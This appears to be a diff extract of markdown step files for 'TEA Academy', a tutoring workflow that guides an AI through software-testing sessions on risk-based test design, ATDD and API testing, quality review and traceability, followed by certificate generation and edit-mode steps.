**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-test-design/>"
### 4. Teaching: Risk/Testability Assessment
"### ⚖️ Risk & Testability Assessment
**Risk Scoring:**
- **Probability:** How likely is this to fail? (Low/Medium/High)
- **Impact:** What happens if it fails? (Low/Medium/High)
- **Risk = Probability × Impact**
**Example: Login Feature**
- Probability: High (complex, authentication)
- Impact: High (business critical)
- **Risk: HIGH** → P0 priority
**Example: Tooltip Text**
- Probability: Low (simple rendering)
- Impact: Low (aesthetic only)
- **Risk: LOW** → P3 priority
**Testability:**
- Can we test this easily?
- Are there dependencies blocking us?
- Do we need test infrastructure first?
{Role-adapted example}
**Knowledge Fragments:** probability-impact.md, test-priorities-matrix.md"
### 5. Teaching: Coverage Planning
"### 📋 Coverage Planning
**Test Levels Framework:**
**Unit Tests:** Isolated functions/classes
- Fast, focused
- No external dependencies
- Example: Pure functions, business logic
**Integration Tests:** Multiple components together
- Database, API interactions
- Example: Service layer with DB
**E2E Tests:** Full user workflows
- Browser automation
- Example: Complete checkout flow
**Coverage Strategy:**
- **P0 features:** Unit + Integration + E2E (high confidence)
- **P1 features:** Integration + E2E (good coverage)
- **P2 features:** E2E or Integration (basic coverage)
- **P3 features:** Manual or skip (low priority)
{Role-adapted example}
**Knowledge Fragment:** test-levels-framework.md
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/test-quality-standards/>"
### 6. Teaching: Test Priorities Matrix
"### 📊 Test Priorities Matrix
**P0-P3 Coverage Targets:**
| Priority | Unit | Integration | E2E | Manual |
| -------- | ---- | ----------- | --- | ------ |
| P0 | ✅ | ✅ | ✅ | ✅ |
| P1 | ✅ | ✅ | ✅ | - |
| P2 | - | ✅ | - | ✅ |
| P3 | - | - | - | ✅ |
**Goal:** 100% P0, 80% P1, 50% P2, 20% P3
{Role-adapted example}
**Knowledge Fragment:** test-priorities-matrix.md"
### 7. Quiz (3 questions)
**Q1:** "What does the Test Design workflow help you do?
A) Write tests faster
B) Plan tests BEFORE writing them
C) Run tests in parallel
D) Debug test failures"
Correct: B
**Q2:** "How do you calculate risk?
A) Probability + Impact
B) Probability × Impact
C) Probability - Impact
D) Probability / Impact"
Correct: B
**Q3:** "For P0 features, which test levels should you use?
A) Only E2E tests
B) Only unit tests
C) Unit + Integration + E2E (comprehensive)
D) Manual testing only"
Correct: C
Calculate score, handle <70% retry.
### 8. Generate Session Notes
Create {sessionNotesFile} with Session 4 content, docs, fragments, quiz.
### 9. Update Progress (Completed)
Update session-04-test-design: completed, score, notes.
Increment sessions_completed, update percentage.
Append 'step-04-session-04' to stepsCompleted.
Set next_recommended: 'session-05-atdd-automate'.
### 10. Complete Message
"🎉 **Session 4 Complete!** Score: {score}/100
You can now plan tests using risk assessment!
Progress: {completion_percentage}%"
### 11. Menu
[A] Advanced Elicitation [P] Party Mode [C] Continue to Session Menu
Return to {nextStepFile}.
---
## 🚨 SUCCESS METRICS
Test Design workflow taught, quiz passed, notes generated, progress updated, returned to hub.
**Master Rule:** Teach planning, quiz, update, return.

View File

@@ -0,0 +1,234 @@
---
name: 'step-04-session-05'
description: 'Session 5: ATDD & Automate - TDD red-green approach, generate tests (60 min)'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
sessionNotesTemplate: '../templates/session-notes-template.md'
sessionNotesFile: '{test_artifacts}/tea-academy/{user_name}/session-05-notes.md'
nextStepFile: './step-03-session-menu.md'
advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
---
# Step 4: Session 5 - ATDD & Automate
## STEP GOAL:
To teach ATDD (red-green TDD) and Automate workflows for test generation in a 60-minute session.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate content without user input
- 📖 CRITICAL: Read complete step file before action
- ✅ YOU MUST ALWAYS SPEAK OUTPUT In {communication_language}
### Role Reinforcement:
- ✅ Master Test Architect and Teaching Guide
- ✅ Collaborative learning
### Step-Specific Rules:
- 🎯 Focus on Session 5 (ATDD & Automate)
- 💬 Teach TDD approach
## EXECUTION PROTOCOLS:
- 🎯 Load docs just-in-time
- 💾 Generate notes
- 📖 Update progress
- ⏭️ Return to hub
## MANDATORY SEQUENCE
### 1. Welcome
"🧪 **Session 5: ATDD & Automate** (60 minutes)
**Objective:** Generate tests with TDD red-green approach
**What you'll learn:**
- ATDD workflow (failing tests first)
- Automate workflow (expand coverage)
- Component TDD
- API testing patterns
Let's generate some tests!"
### 2. Update Progress (Started)
Load {progressFile} and update session-05-atdd-automate:
- Set `status: 'in-progress'`
- Set `started_date: {current_date}` if not already set
Save the updated progress file.
### 3. Teaching: ATDD Workflow
"### 🔴 ATDD: Acceptance-Driven Test Development
**TDD Red Phase:** Write failing tests FIRST
**ATDD Workflow:**
1. **Preflight:** Check prerequisites
2. **Test Strategy:** Define what to test
3. **Generate FAILING Tests:** Red phase (tests fail because code doesn't exist yet)
4. **Implement Code:** Green phase (make tests pass)
**Why Failing Tests First:**
- Validates tests actually test something
- Prevents false positives
- Drives implementation (tests define behavior)
{Role-adapted example}
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-atdd/>"
### 4. Teaching: Automate Workflow
"### 🤖 Automate: Expand Test Coverage
**Purpose:** Generate tests for existing features
**Automate Workflow:**
1. **Identify Targets:** What needs testing
2. **Generate Tests:** API and/or E2E tests
3. **Review & Run:** Tests should pass (code already exists)
**Difference from ATDD:**
- ATDD: Tests first, then code (red → green)
- Automate: Code first, then tests (coverage expansion)
{Role-adapted example}
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-automate/>"
### 5. Teaching: Component TDD
"### 🔄 Component TDD Red-Green Loop
**Pattern:**
1. **Red:** Write failing test
2. **Green:** Minimal code to pass
3. **Refactor:** Improve code, tests stay green
4. **Repeat:** Next requirement
**Example:**
```typescript
// RED: Test fails (function doesn't exist)
test('calculates total price', () => {
expect(calculateTotal([10, 20])).toBe(30);
});
// GREEN: Minimal implementation
function calculateTotal(prices) {
return prices.reduce((a, b) => a + b, 0);
}
// REFACTOR: Add validation, tests still green
```
{Role-adapted example}
**Knowledge Fragment:** component-tdd.md"
### 6. Teaching: API Testing Patterns
"### 🌐 API Testing Patterns
**Pure API Testing (no browser):**
- Fast execution
- Test business logic
- Validate responses
- Schema validation
**Pattern:**
```typescript
test('GET /users returns user list', async ({ request }) => {
const response = await request.get('/api/users');
expect(response.ok()).toBeTruthy();
const users = await response.json();
expect(users).toHaveLength(10);
});
```
{Role-adapted example}
**Knowledge Fragment:** api-testing-patterns.md, api-request.md"
### 7. Quiz (3 questions)
**Q1:** "What is the 'red' phase in TDD?
A) Tests fail (code doesn't exist yet)
B) Tests pass
C) Code is refactored
D) Tests are deleted"
Correct: A
**Q2:** "What's the difference between ATDD and Automate workflows?
A) ATDD generates E2E, Automate generates API tests
B) ATDD writes tests first (red phase), Automate tests existing code
C) ATDD is faster than Automate
D) They're the same workflow"
Correct: B
**Q3:** "Why use pure API tests without a browser?
A) They look prettier
B) They're easier to debug
C) They're faster and test business logic directly
D) They're required by TEA"
Correct: C
Calculate score, handle <70% retry.
### 8. Generate Session Notes
Create {sessionNotesFile} with Session 5 content:
- ATDD workflow (red-green TDD)
- Automate workflow (coverage expansion)
- Component TDD
- API testing patterns
- Docs: ATDD, Automate
- Fragments: component-tdd.md, api-testing-patterns.md, api-request.md
- Quiz results
### 9. Update Progress (Completed)
Update session-05-atdd-automate: completed, score, notes.
Increment sessions_completed, update percentage.
Append 'step-04-session-05' to stepsCompleted.
Set next_recommended: 'session-06-quality-trace'.
### 10. Complete Message
"🎉 **Session 5 Complete!** Score: {score}/100
You can now generate tests with ATDD and Automate!
Progress: {completion_percentage}%"
### 11. Menu
[A] Advanced Elicitation [P] Party Mode [C] Continue to Session Menu
Return to {nextStepFile}.
---
## 🚨 SUCCESS METRICS
ATDD and Automate taught, TDD explained, quiz passed, notes generated, progress updated, returned to hub.

View File

@@ -0,0 +1,209 @@
---
name: 'step-04-session-06'
description: 'Session 6: Quality & Trace - Test review, traceability, quality metrics (45 min)'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
sessionNotesTemplate: '../templates/session-notes-template.md'
sessionNotesFile: '{test_artifacts}/tea-academy/{user_name}/session-06-notes.md'
nextStepFile: './step-03-session-menu.md'
advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
---
# Step 4: Session 6 - Quality & Trace
## STEP GOAL:
To teach test quality auditing and requirements traceability using Test Review and Trace workflows in a 45-minute session.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate _unsolicited_ content without user input (session flow content is allowed once session begins)
- 📖 CRITICAL: Read complete step file before action
- ✅ SPEAK OUTPUT In {communication_language}
### Role Reinforcement:
- ✅ Master Test Architect and Teaching Guide
- ✅ Collaborative learning
### Step-Specific Rules:
- 🎯 Focus on Session 6 (Quality & Trace)
- 💬 Teach quality metrics
## EXECUTION PROTOCOLS:
- 🎯 Load docs just-in-time
- 💾 Generate notes
- 📖 Update progress
- ⏭️ Return to hub
## MANDATORY SEQUENCE
### 1. Welcome
"🧪 **Session 6: Quality & Trace** (45 minutes)
**Objective:** Audit quality and ensure traceability
**What you'll learn:**
- Test Review workflow (quality scoring)
- 5 dimensions of test quality
- Trace workflow (requirements traceability)
- Release gate decisions
Let's ensure quality!"
### 2. Update Progress (Started)
Set session-06-quality-trace `status: 'in-progress'`.
### 3. Teaching: Test Review Workflow
"### 🔍 Test Review Workflow
**Purpose:** Audit test quality with 0-100 scoring
**5 Dimensions of Quality:**
**1. Determinism (0-100)**
- Tests pass/fail consistently
- No flakiness, no randomness
- Proper async handling
**2. Isolation (0-100)**
- Tests run independently
- No shared state
- Parallelizable
**3. Assertions (0-100)**
- Correct checks for expected behavior
- Meaningful assertions (not just presence)
- Fails for the right reasons
**4. Structure (0-100)**
- Readable test code
- Clear organization and naming
- Minimal duplication
**5. Performance (0-100)**
- Test execution speed
- Resource usage
- Parallel efficiency
**Overall Score = Average of 5 dimensions**
{Role-adapted example}
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-test-review/>"
### 4. Teaching: Trace Workflow
"### 🔗 Trace Workflow: Requirements Traceability
**Purpose:** Map tests to requirements, make release gate decision
**Trace Workflow:**
1. **Load Context:** Understand acceptance criteria
2. **Discover Tests:** Find all test files
3. **Map Criteria:** Link tests to requirements
4. **Analyze Gaps:** What's not tested?
5. **Gate Decision:** GREEN (ship) or RED (block)
**Release Gate Logic:**
- **GREEN:** All P0/P1 criteria have tests, gaps are P2/P3
- **YELLOW:** Some P1 gaps, assess risk
- **RED:** P0 gaps exist, DO NOT SHIP
{Role-adapted example}
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-trace/>"
### 5. Teaching: Quality Metrics
"### 📊 Quality Metrics That Matter
**Track:**
- **P0/P1 Coverage %** (not total line coverage)
- **Flakiness Rate** (flaky tests / total tests)
- **Test Execution Time** (feedback loop speed)
- **Determinism Score** (from Test Review)
**Don't Track (Vanity Metrics):**
- Total line coverage % (tells you nothing about risk)
- Number of tests (quantity ≠ quality)
- Test file count (irrelevant)
{Role-adapted example}
**Goal:** High P0/P1 coverage, zero flakiness, fast execution."
### 6. Quiz (3 questions)
**Q1:** "What are the 5 dimensions in Test Review workflow?
A) Speed, cost, coverage, bugs, time
B) Determinism, Isolation, Assertions, Structure, Performance
C) Unit, integration, E2E, manual, exploratory
D) P0, P1, P2, P3, P4"
Correct: B
**Q2:** "When should the Trace workflow gate decision be RED (block release)?
A) Any test failures exist
B) P0 gaps exist (critical requirements not tested)
C) Code coverage is below 80%
D) Tests are slow"
Correct: B
**Q3:** "Which metric matters most for quality?
A) Total line coverage %
B) Number of tests written
C) P0/P1 coverage %
D) Test file count"
Correct: C
Calculate score, handle <70% retry.
### 7. Generate Session Notes
Create {sessionNotesFile} with Session 6 content, Test Review + Trace workflows, quality metrics.
### 8. Update Progress (Completed)
Update session-06-quality-trace: completed, score, notes.
Increment sessions_completed, update percentage.
Append 'step-04-session-06' to stepsCompleted.
Set next_recommended: 'session-07-advanced'.
### 9. Complete Message
"🎉 **Session 6 Complete!** Score: {score}/100
You can now audit quality and ensure traceability!
Progress: {completion_percentage}%"
### 10. Menu
[A] Advanced Elicitation [P] Party Mode [C] Continue to Session Menu
Return to {nextStepFile}.
---
## 🚨 SUCCESS METRICS
Test Review and Trace taught, quality dimensions explained, quiz passed, notes generated, returned to hub.

View File

@@ -0,0 +1,212 @@
---
name: 'step-04-session-07'
description: 'Session 7: Advanced Patterns - Menu-driven knowledge fragment exploration (ongoing)'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
sessionNotesTemplate: '../templates/session-notes-template.md'
sessionNotesFile: '{test_artifacts}/tea-academy/{user_name}/session-07-notes.md'
nextStepFile: './step-03-session-menu.md'
advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
---
# Step 4: Session 7 - Advanced Patterns
## STEP GOAL:
To provide menu-driven exploration of 35 TEA knowledge fragments organized by category, allowing deep-dive into specific advanced topics on-demand.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate content without user input
- 📖 CRITICAL: Read complete step file before action
- ✅ SPEAK OUTPUT In {communication_language}
### Role Reinforcement:
- ✅ Master Test Architect and Teaching Guide
- ✅ Collaborative exploration
### Step-Specific Rules:
- 🎯 Focus on Session 7 (Advanced Patterns exploration)
- 💬 Menu-driven, user chooses topics
- 📚 This session is ONGOING - users can explore multiple fragments
## EXECUTION PROTOCOLS:
- 🎯 Display fragment categories
- 💾 Generate notes after exploration
- 📖 Update progress when user exits
- ⏭️ Return to hub when done
## MANDATORY SEQUENCE
### 1. Welcome
"🧪 **Session 7: Advanced Patterns** (Ongoing Exploration)
**Objective:** Deep-dive into 34 TEA knowledge fragments
**This session is different:**
- Menu-driven exploration (you choose topics)
- Explore as many fragments as you want
- Can revisit this session anytime
- No quiz - this is reference learning
**35 Knowledge Fragments organized by category:**
Let's explore!"
### 2. Update Progress (Started)
Set session-07-advanced `status: 'in-progress'` (only first time).
### 3. Display Knowledge Fragment Categories
"### 📚 Knowledge Fragment Categories
**1. Testing Patterns (9 fragments)**
- fixture-architecture.md - Composable fixture patterns
- fixtures-composition.md - mergeTests composition patterns
- network-first.md - Network interception safeguards
- data-factories.md - Data seeding & setup
- component-tdd.md - TDD red-green loop
- api-testing-patterns.md - Pure API testing
- test-healing-patterns.md - Auto-fix common failures
- selector-resilience.md - Robust selectors
- timing-debugging.md - Race condition fixes
**2. Playwright Utils (11 fragments)**
- overview.md - Playwright Utils overview
- api-request.md - Typed HTTP client
- network-recorder.md - HAR record/playback
- intercept-network-call.md - Network spy/stub
- recurse.md - Async polling
- log.md - Report logging
- file-utils.md - CSV/XLSX/PDF validation
- burn-in.md - Smart test selection
- network-error-monitor.md - HTTP error detection
- contract-testing.md - Pact integration
- visual-debugging.md - Trace viewer workflows
**3. Configuration & Governance (6 fragments)**
- playwright-config.md - Environment & timeout guardrails
- ci-burn-in.md - CI orchestration
- selective-testing.md - Tag/grep filters
- feature-flags.md - Governance & cleanup
- risk-governance.md - Scoring matrix & gates
- adr-quality-readiness-checklist.md - Quality readiness checklist
**4. Quality Frameworks (5 fragments)**
- test-quality.md - DoD execution limits
- test-levels-framework.md - Unit/Integration/E2E
- test-priorities-matrix.md - P0-P3 coverage targets
- probability-impact.md - Probability × impact scoring
- nfr-criteria.md - NFR assessment definitions
**5. Authentication & Security (3 fragments)**
- email-auth.md - Magic link extraction
- auth-session.md - Token persistence
- error-handling.md - Exception handling
**GitHub Repository:** <https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/tree/main/src/testarch/knowledge>
**Select a category (1-5) or specific fragment to explore, or [X] to finish:**"
### 4. Fragment Exploration Loop
**Wait for user selection.**
**Handle selection:**
- **IF 1-5 (category):** Display all fragments in that category with descriptions, ask which fragment to explore
- **IF specific fragment name:** Load and present that fragment's content
- **IF X:** Proceed to step 5 (complete session)
- **IF Any other:** Help user, redisplay categories
**For each fragment explored:**
1. Present the fragment's key concepts
2. Provide role-adapted examples
3. Link to GitHub source
4. Ask: "Explore another fragment? [Y/N/X to finish]"
5. If Y: Redisplay categories
6. If N or X: Proceed to completion
**Track fragments explored** (for session notes).
### 5. Session Summary
After user selects X (finish exploration):
"### 🎯 Session 7 Summary
**Fragments Explored:** {count}
{List each fragment explored}
**Key Takeaways:**
{Summarize insights from explored fragments}
**Remember:** You can return to Session 7 anytime to explore more fragments!
**GitHub Knowledge Base:** <https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/tree/main/src/testarch/knowledge>"
### 6. Generate Session Notes
Create {sessionNotesFile} with:
- Session 7 content
- List of fragments explored
- Key insights from each
- GitHub links
- No quiz (exploratory session)
- Score: 100 (completion based, not quiz based)
### 7. Update Progress (Completed)
Update session-07-advanced: completed, score: 100, notes.
Increment sessions_completed, update percentage.
Append 'step-04-session-07' to stepsCompleted.
**Check completion:**
- If sessions_completed == 7: Set next_recommended: 'completion'
- Otherwise: Recommend next incomplete session
### 8. Complete Message
"🎉 **Session 7 Complete!**
**Fragments Explored:** {count}
{If sessions_completed == 7:}
🏆 **Congratulations!** You've completed ALL 7 sessions!
Your completion certificate will be generated when you return to the menu.
{Otherwise:}
**Progress:** {completion_percentage}% complete ({sessions_completed} of 7 sessions)
You can return to Session 7 anytime to explore more fragments!"
### 9. Menu
[A] Advanced Elicitation [P] Party Mode [C] Continue to Session Menu
Return to {nextStepFile}.
---
## 🚨 SUCCESS METRICS
✅ Fragment categories displayed, user explored chosen fragments, notes generated with exploration summary, progress updated, returned to hub.
**Master Rule:** This session is exploratory and repeatable. User drives exploration, workflow facilitates.

View File

@@ -0,0 +1,339 @@
---
name: 'step-05-completion'
description: 'Generate completion certificate, final progress update, congratulate learner'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
certificateTemplate: '../templates/certificate-template.md'
certificateFile: '{test_artifacts}/tea-academy/{user_name}/tea-completion-certificate.md'
---
# Step 5: Completion & Certificate Generation
## STEP GOAL:
To generate the TEA Academy completion certificate, update final progress, and congratulate the learner on completing all 7 sessions.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate content without user input
- 📖 CRITICAL: Read complete step file before action
- ✅ SPEAK OUTPUT In {communication_language}
### Role Reinforcement:
- ✅ Master Test Architect and Teaching Guide
- ✅ Celebrating completion
### Step-Specific Rules:
- 🎯 Focus on completion and celebration
- 🚫 FORBIDDEN to proceed without verifying all 7 sessions complete
- 💬 Approach: Congratulate, generate certificate, inspire next steps
## EXECUTION PROTOCOLS:
- 🎯 Verify all sessions complete
- 💾 Generate completion certificate
- 📖 Final progress update
- 🎉 This is the final step - no next step
## CONTEXT BOUNDARIES:
- Available context: Progress file with all 7 sessions completed
- Focus: Certificate generation and celebration
- Dependencies: All 7 sessions must be complete
## MANDATORY SEQUENCE
### 1. Verify All Sessions Complete
Load {progressFile} and check:
- All 7 sessions have `status: 'completed'`
- All 7 sessions have scores
- sessions_completed == 7
**If any session NOT complete:**
Display:
"⚠️ **Not all sessions complete!**
You still have {7 - sessions_completed} sessions remaining.
Please return to the session menu to complete the remaining sessions before generating your certificate."
**THEN:** Stop and do not proceed. This is an error state.
---
**If all 7 sessions complete:** Proceed to step 2.
### 2. Calculate Final Metrics
From progress file, calculate:
**Average Score:**
- Sum all 7 session scores
- Divide by 7
- Round to nearest integer
**Total Duration:**
- Calculate days between started_date and current_date
- Format as "{N} days" or "{N} weeks"
**Individual Session Scores:**
- Extract score for each session (session-01 through session-07)
### 3. Congratulations Message
Display:
"🏆 **CONGRATULATIONS, {user_name}!**
You've completed all 7 sessions of TEA Academy!
**Your Achievement:**
- **Started:** {started_date}
- **Completed:** {current_date}
- **Duration:** {total_duration}
- **Average Score:** {average_score}/100
- **Sessions Completed:** 7 of 7 (100%)
**Session Scores:**
- Session 1 (Quick Start): {session_01_score}/100
- Session 2 (Core Concepts): {session_02_score}/100
- Session 3 (Architecture): {session_03_score}/100
- Session 4 (Test Design): {session_04_score}/100
- Session 5 (ATDD & Automate): {session_05_score}/100
- Session 6 (Quality & Trace): {session_06_score}/100
- Session 7 (Advanced Patterns): {session_07_score}/100
Generating your completion certificate..."
### 4. Generate Completion Certificate
Load {certificateTemplate} and create {certificateFile} with:
```markdown
---
certificate_type: tea-academy-completion
user: { user_name }
role: { role }
completion_date: { current_date }
started_date: { started_date }
total_duration: { total_duration }
average_score: { average_score }
---
# 🏆 TEA Academy Completion Certificate
---
## Certificate of Completion
**This certifies that**
# {user_name}
**has successfully completed the TEA Academy testing curriculum**
---
### Program Details
**Role:** {role}
**Started:** {started_date}
**Completed:** {current_date}
**Total Duration:** {total_duration}
**Average Score:** {average_score}/100
---
### Sessions Completed
**Session 1:** Quick Start (30 min) - Score: {session_01_score}/100
**Session 2:** Core Concepts (45 min) - Score: {session_02_score}/100
**Session 3:** Architecture & Patterns (60 min) - Score: {session_03_score}/100
**Session 4:** Test Design (60 min) - Score: {session_04_score}/100
**Session 5:** ATDD & Automate (60 min) - Score: {session_05_score}/100
**Session 6:** Quality & Trace (45 min) - Score: {session_06_score}/100
**Session 7:** Advanced Patterns (ongoing) - Score: {session_07_score}/100
---
### Skills Acquired
{user_name} has demonstrated proficiency in:
-**Testing Fundamentals:** Risk-based testing, test pyramid, test types, P0-P3 prioritization
-**TEA Methodology:** 9 workflows (Teach Me Testing, Framework, Test Design, ATDD, Automate, Test Review, Trace, NFR, CI)
-**Architecture Patterns:** Fixture composition, network-first patterns, data factories, step-file architecture
-**Test Design:** Risk assessment (Probability × Impact), coverage planning, test levels framework
-**Test Development:** ATDD red-green TDD approach, test automation, API testing patterns
-**Quality Assurance:** Test review (5 dimensions), traceability, release gates, quality metrics
-**Advanced Techniques:** Knowledge fragments explored, Playwright Utils integration
---
### Learning Artifacts
All session notes and progress tracking available at:
`{test_artifacts}/tea-academy/{user_name}/`
**Session Notes:**
- session-01-notes.md - Quick Start
- session-02-notes.md - Core Concepts
- session-03-notes.md - Architecture & Patterns
- session-04-notes.md - Test Design
- session-05-notes.md - ATDD & Automate
- session-06-notes.md - Quality & Trace
- session-07-notes.md - Advanced Patterns
**Progress File:**
`{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml`
---
### Next Steps
**Recommended Actions:**
1. **Apply TEA to your project:** Start with Framework setup workflow
2. **Run TEA workflows:** Test Design → ATDD/Automate → Test Review
3. **Share knowledge:** Help team members through TEA Academy
4. **Explore knowledge fragments:** 35 fragments for just-in-time learning
5. **Contribute improvements:** Share feedback on TEA methodology
**TEA Resources:**
- **Documentation:** https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/
- **Knowledge Base:** https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/reference/knowledge-base/
- **GitHub Fragments:** https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/tree/main/src/testarch/knowledge
---
**Generated by:** TEA Academy - Teach Me Testing Workflow
**Module:** Test Architecture Enterprise (TEA)
**Completion Date:** {current_date}
---
🧪 **Master Test Architect and Quality Advisor**
```
Save certificate to {certificateFile}.
### 5. Update Progress File (Final)
Load {progressFile} and make final updates:
**Update session-07 (if not already):**
- `status: 'completed'`
- `completed_date: {current_date}`
- `score: 100` (exploratory session, completion based)
- `notes_artifact: '{sessionNotesFile}'`
**Update completion fields:**
- `sessions_completed: 7`
- `completion_percentage: 100`
- `certificate_generated: true`
- `certificate_path: '{certificateFile}'`
- `completion_date: {current_date}`
**Update stepsCompleted:**
- Append 'step-04-session-07' (if session 7 just completed)
- Append 'step-05-completion'
- Update lastStep: 'step-05-completion'
Save final progress file.
### 6. Display Certificate
Display the complete certificate content to the user.
### 7. Final Celebration
Display:
"🎉 **CONGRATULATIONS, {user_name}!** 🎉
You've successfully completed the entire TEA Academy curriculum!
**Your Achievement:**
- ✅ 7 sessions completed
- ✅ Average score: {average_score}/100
- ✅ {total_duration} of dedicated learning
- ✅ Certificate generated
**All Your Artifacts:**
- **Certificate:** {certificateFile}
- **Progress:** {progressFile}
- **Session Notes:** {test_artifacts}/tea-academy/{user_name}/
**You're now equipped to:**
- Write high-quality tests following TEA principles
- Use all 9 TEA workflows effectively
- Apply risk-based testing (P0-P3 prioritization)
- Implement architecture patterns (fixtures, network-first)
- Maintain quality through Test Review and Trace
- Explore 35 knowledge fragments as needed
**Next Steps:**
1. Apply TEA to your current project
2. Share this workflow with your team
3. Help onboard new team members
4. Continue learning through knowledge fragments
**Thank you for investing in testing excellence!** 🧪
---
**TEA Academy - Mission Accomplished** ✅"
### 8. Workflow Complete
**This is the final step - no menu, no next step.**
Workflow ends here. User can run the workflow again to re-take sessions or explore more fragments.
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS
### ✅ SUCCESS:
- All 7 sessions verified complete before certificate generation
- Average score calculated correctly
- Certificate generated with all session data
- Certificate saved to file
- Progress file updated with completion status
- Final celebration message displayed
- All artifacts paths provided to user
- Workflow completes successfully
### ❌ SYSTEM FAILURE:
- Generating certificate without verifying all sessions complete
- Incorrect average score calculation
- Missing session data in certificate
- Not updating progress file with completion status
- Not providing artifact paths to user
- Proceeding to next step (this is final - no next step)
**Master Rule:** Verify completion, generate certificate, celebrate achievement, end workflow. This is the finale.

View File

@@ -0,0 +1,141 @@
---
name: 'step-e-01-assess-workflow'
description: 'Assess what needs to be edited in the teaching workflow'
nextStepFile: './step-e-02-apply-edits.md'
workflowPath: '../'
advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
---
# Edit Step 1: Assess What to Edit
## STEP GOAL:
To identify what the user wants to edit in the teach-me-testing workflow and gather requirements for the modifications.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate content without user input
- 📖 CRITICAL: Read complete step file before action
- ✅ SPEAK OUTPUT In {communication_language}
### Role Reinforcement:
- ✅ You are a workflow architect helping with modifications
- ✅ Collaborative dialogue for understanding edit needs
### Step-Specific Rules:
- 🎯 Focus on understanding what to edit
- 🚫 FORBIDDEN to make edits yet
- 💬 Ask questions to clarify requirements
## EXECUTION PROTOCOLS:
- 🎯 Understand edit requirements
- 💾 Document what needs editing
- 📖 Prepare for edits in next step
## MANDATORY SEQUENCE
### 1. Welcome to Edit Mode
"**Edit Mode: Teach Me Testing Workflow**
What would you like to edit?
**Common edits:**
- Update session content (new concepts, updated examples)
- Modify quiz questions
- Add/remove knowledge fragments from session 7
- Update TEA resource references
- Change session durations or structure
- Update role-based examples
**Tell me what you'd like to change.**"
### 2. Gather Edit Requirements
Ask targeted questions based on their response:
**If editing session content:**
- Which session? (1-7)
- What specific content needs updating?
- Why the change? (outdated, incorrect, needs improvement)
**If editing quiz questions:**
- Which session's quiz?
- Which question(s)?
- What's wrong with current questions?
**If editing session 7 fragments:**
- Add new fragment category?
- Update existing fragment references?
- Change organization?
**If editing templates:**
- Progress template?
- Session notes template?
- Certificate template?
- What fields need changing?
**If editing data files:**
- Curriculum structure?
- Role customizations?
- Resource mappings?
### 3. Load Current Content
Based on what they want to edit, load the relevant files:
- Session step files (steps-c/step-04-session-\*.md)
- Templates (`templates/*.md` or `*.yaml`)
- Data files (data/\*.yaml)
Show user the current content.
### 4. Document Edit Plan
"**Edit Plan:**
**Target Files:**
- {list files to be modified}
**Changes Required:**
- {list specific changes}
**Reason:**
- {why these edits are needed}
Ready to proceed with edits?"
### 5. Menu
Display: **Select an Option:** [A] Advanced Elicitation [P] Party Mode [C] Continue to Apply Edits
#### Menu Handling Logic:
- IF A: Execute {advancedElicitationTask}, redisplay menu
- IF P: Execute {partyModeWorkflow}, redisplay menu
- IF C: Load, read entire file, then execute {nextStepFile}
- IF Any other: help user, redisplay menu
---
## 🚨 SUCCESS METRICS
✅ Edit requirements clearly understood, target files identified, edit plan documented, user approves plan.
**Master Rule:** Understand before editing. Get clear requirements first.

View File

@@ -0,0 +1,122 @@
---
name: 'step-e-02-apply-edits'
description: 'Apply modifications to the teaching workflow based on edit plan'
workflowPath: '../'
---
# Edit Step 2: Apply Edits
## STEP GOAL:
To apply the approved edits to the teach-me-testing workflow files while maintaining integrity and quality standards.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER edit without showing user the changes first
- 📖 CRITICAL: Read complete step file before action
- ✅ SPEAK OUTPUT In {communication_language}
### Role Reinforcement:
- ✅ You are a workflow architect applying modifications
- ✅ Collaborative edits with user approval
### Step-Specific Rules:
- 🎯 Focus on applying approved edits only
- 🚫 FORBIDDEN to make unapproved changes
- 💬 Show changes before applying
## EXECUTION PROTOCOLS:
- 🎯 Apply edits systematically
- 💾 Validate after each edit
- 📖 Document changes made
## MANDATORY SEQUENCE
### 1. Review Edit Plan
"**Applying approved edits to teach-me-testing workflow**
From step-e-01, we identified:
{Summarize edit plan from previous step}
Let me apply these changes systematically."
### 2. Apply Edits by Category
**For each file to be edited:**
1. Load the current file
2. Show the proposed changes (before/after)
3. Ask: "Apply this edit? [Y/N]"
4. If Y: Make the edit
5. If N: Skip this edit
